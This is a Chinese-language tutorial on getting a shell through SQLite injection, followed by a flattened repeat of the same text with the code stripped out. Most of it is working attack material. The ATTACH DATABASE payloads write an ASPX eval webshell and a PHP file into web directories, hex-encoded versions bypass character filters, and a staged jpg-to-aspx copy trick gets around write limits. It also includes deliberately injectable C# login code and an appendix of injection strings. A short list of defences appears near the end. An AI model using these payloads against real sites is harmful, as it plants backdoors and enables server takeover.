SQLite手工注入Getshell技巧
字数 1184 2025-08-29 08:32:09

SQLite手工注入Getshell技巧详解

0x01 SQLite数据库简介

SQLite是一种嵌入式数据库,其特点包括:

  • 数据库以单个文件形式存在
  • 零配置,无需复杂安装或管理
  • 由C语言编写,体积小巧
  • 常用于移动应用(App)中
  • 语法与其他数据库类似但有一些独特特性

0x02 SQLite基础操作

数据库创建方法

  1. 创建新数据库

    sqlite3.exe 数据库文件名
    

    示例:创建aa.db数据库

    sqlite3.exe aa.db
    
  2. 附加数据库

    ATTACH DATABASE 'DatabaseName' As 'Alias-Name';
    

    示例:附加bb.db数据库并设置别名为a

    attach database 'd:\\sqlite\\bb.db' as 'a';
    

表操作

创建表并插入数据:

create table a.tt(dataz text);
INSERT into a.tt(dataz) VALUES ('test');

0x03 SQLite注入Getshell原理

SQLite可以创建任意后缀名的数据库文件,且文件内容会以原格式存储。当创建.php或.aspx后缀的数据库文件并插入相应代码时,这些代码会被服务器解析执行。

生成PHP Webshell

ATTACH DATABASE 'd:\\sqlite\\23.php' AS test;
create TABLE test.exp (dataz text);
insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');

生成ASPX Webshell

ATTACH DATABASE 'd:\\web\\shell.aspx' AS test;
create TABLE test.exp (dataz text);
insert INTO test.exp (dataz) VALUES ('<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>');

0x04 本地环境搭建与测试

环境准备

  1. 安装Sqlite ADO.NET
  2. 获取System.Data.SQLite.DLL文件(注意32/64位版本)
  3. 使用VS2013创建ASP.NET网站项目
  4. 将DLL文件放入项目的Bin目录

示例漏洞代码

Default.aspx.cs中的关键代码:

protected void btn_Click(object sender, EventArgs e) {
    if (TextBox1.Text != ""){
        SQLiteConnection conn = new SQLiteConnection("Data Source=" + Server.MapPath("UserData.dbx"));
        conn.Open();
        SQLiteCommand cmd = new SQLiteCommand();
        cmd.CommandText = "select UserPassword from Users where UserName='" + TextBox1.Text.Trim()+"'";
        cmd.Connection = conn;
        // 执行查询...
    }
}

0x05 注入利用实战步骤

1. 检测注入点

输入单引号'测试,观察是否报错并暴露路径信息

2. 直接写入Webshell

';ATTACH DATABASE 'c:\\WebSite\\shell.aspx' AS pwn;
create TABLE pwn.exp (dataz text);
insert INTO pwn.exp (dataz) VALUES ('<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>');--

3. 绕过写入限制的技巧

当直接写入失败时(特殊字符导致问题),可采用以下方法:

方法一:十六进制编码

';ATTACH DATABASE 'd:\\web\\shell.aspx' AS pwn;
create TABLE pwn.exp (dataz text);
insert INTO pwn.exp (dataz) VALUES (x'3c25402050616765204c616e67756167653d224a736372697074223e3c256576616c28526571756573742e4974656d5b2270617373225d2c22756e7361666522293b253e');--

注意:SQLite中十六进制写法为x'....'而非0x....

方法二:分步写入

  1. 先创建空数据库文件

    ';ATTACH DATABASE 'd:web\\fp.jpg' AS pwn;create TABLE pwn.exp(dataz text);--
    
  2. 下载该文件,在本地插入数据后重新上传

  3. 将内容从jpg数据库复制到aspx数据库

    ';ATTACH DATABASE 'd:web\\shell.aspx' AS pwn2;
    create TABLE pwn2.exp(dataz text);
    insert INTO pwn2.exp (dataz) SELECT dataz FROM pwn.exp;--
    

0x06 常见问题与解决方案

  1. 写入成功但无法执行

    • 检查文件权限
    • 确认文件内容是否正确(可能有额外空格等问题)
    • 使用十六进制编码绕过特殊字符问题
  2. 数据库编码不一致

    • 尝试在相同环境下生成数据库文件
    • 使用十六进制编码确保数据一致性
  3. 写入内容被截断

    • 检查SQL语句中的引号是否正确转义
    • 使用十六进制编码方式

0x07 防御建议

  1. 使用参数化查询
  2. 对用户输入进行严格过滤
  3. 限制数据库文件的写入权限
  4. 禁止上传或创建可执行文件类型的数据库
  5. 定期进行安全审计和渗透测试

0x08 总结要点

  1. SQLite可以创建任意格式的数据库文件,且插入的代码会根据文件后缀被解析执行
  2. 利用ATTACH DATABASE和CREATE TABLE语句可以写入Webshell
  3. 当直接写入失败时,十六进制编码是有效的绕过方法
  4. SQLite中十六进制的正确写法是x'....'
  5. 分步写入(先创建空文件再插入内容)可以提高成功率

附录:常用SQLite注入语句

  1. 测试注入点:

    ' or 1=1--
    
  2. 获取数据库信息:

    ' union select 1,sqlite_version(),3--
    
  3. 列出所有表:

    ' union select 1,name,3 from sqlite_master where type='table'--
    
  4. 获取表结构:

    ' union select 1,sql,3 from sqlite_master where name='表名'--
    
  5. 写入Webshell(十六进制版):

    ';ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
    create TABLE pwn.exp (dataz text);
    insert INTO pwn.exp (dataz) VALUES (x'3c3f70687020706870696e666f28293b203f3e');--
    
SQLite手工注入Getshell技巧详解 0x01 SQLite数据库简介 SQLite是一种嵌入式数据库,其特点包括: 数据库以单个文件形式存在 零配置,无需复杂安装或管理 由C语言编写,体积小巧 常用于移动应用(App)中 语法与其他数据库类似但有一些独特特性 0x02 SQLite基础操作 数据库创建方法 创建新数据库 : 示例:创建aa.db数据库 附加数据库 : 示例:附加bb.db数据库并设置别名为a 表操作 创建表并插入数据: 0x03 SQLite注入Getshell原理 SQLite可以创建任意后缀名的数据库文件,且文件内容会以原格式存储。当创建.php或.aspx后缀的数据库文件并插入相应代码时,这些代码会被服务器解析执行。 生成PHP Webshell 生成ASPX Webshell 0x04 本地环境搭建与测试 环境准备 安装Sqlite ADO.NET 获取System.Data.SQLite.DLL文件(注意32/64位版本) 使用VS2013创建ASP.NET网站项目 将DLL文件放入项目的Bin目录 示例漏洞代码 Default.aspx.cs中的关键代码: 0x05 注入利用实战步骤 1. 检测注入点 输入单引号 ' 测试,观察是否报错并暴露路径信息 2. 直接写入Webshell 3. 绕过写入限制的技巧 当直接写入失败时(特殊字符导致问题),可采用以下方法: 方法一:十六进制编码 注意 :SQLite中十六进制写法为 x'....' 而非 0x.... 方法二:分步写入 先创建空数据库文件 下载该文件,在本地插入数据后重新上传 将内容从jpg数据库复制到aspx数据库 0x06 常见问题与解决方案 写入成功但无法执行 : 检查文件权限 确认文件内容是否正确(可能有额外空格等问题) 使用十六进制编码绕过特殊字符问题 数据库编码不一致 : 尝试在相同环境下生成数据库文件 使用十六进制编码确保数据一致性 写入内容被截断 : 检查SQL语句中的引号是否正确转义 使用十六进制编码方式 0x07 防御建议 使用参数化查询 对用户输入进行严格过滤 限制数据库文件的写入权限 禁止上传或创建可执行文件类型的数据库 定期进行安全审计和渗透测试 0x08 总结要点 SQLite可以创建任意格式的数据库文件,且插入的代码会根据文件后缀被解析执行 利用ATTACH DATABASE和CREATE TABLE语句可以写入Webshell 当直接写入失败时,十六进制编码是有效的绕过方法 SQLite中十六进制的正确写法是 x'....' 分步写入(先创建空文件再插入内容)可以提高成功率 附录:常用SQLite注入语句 测试注入点: 获取数据库信息: 列出所有表: 获取表结构: 写入Webshell(十六进制版):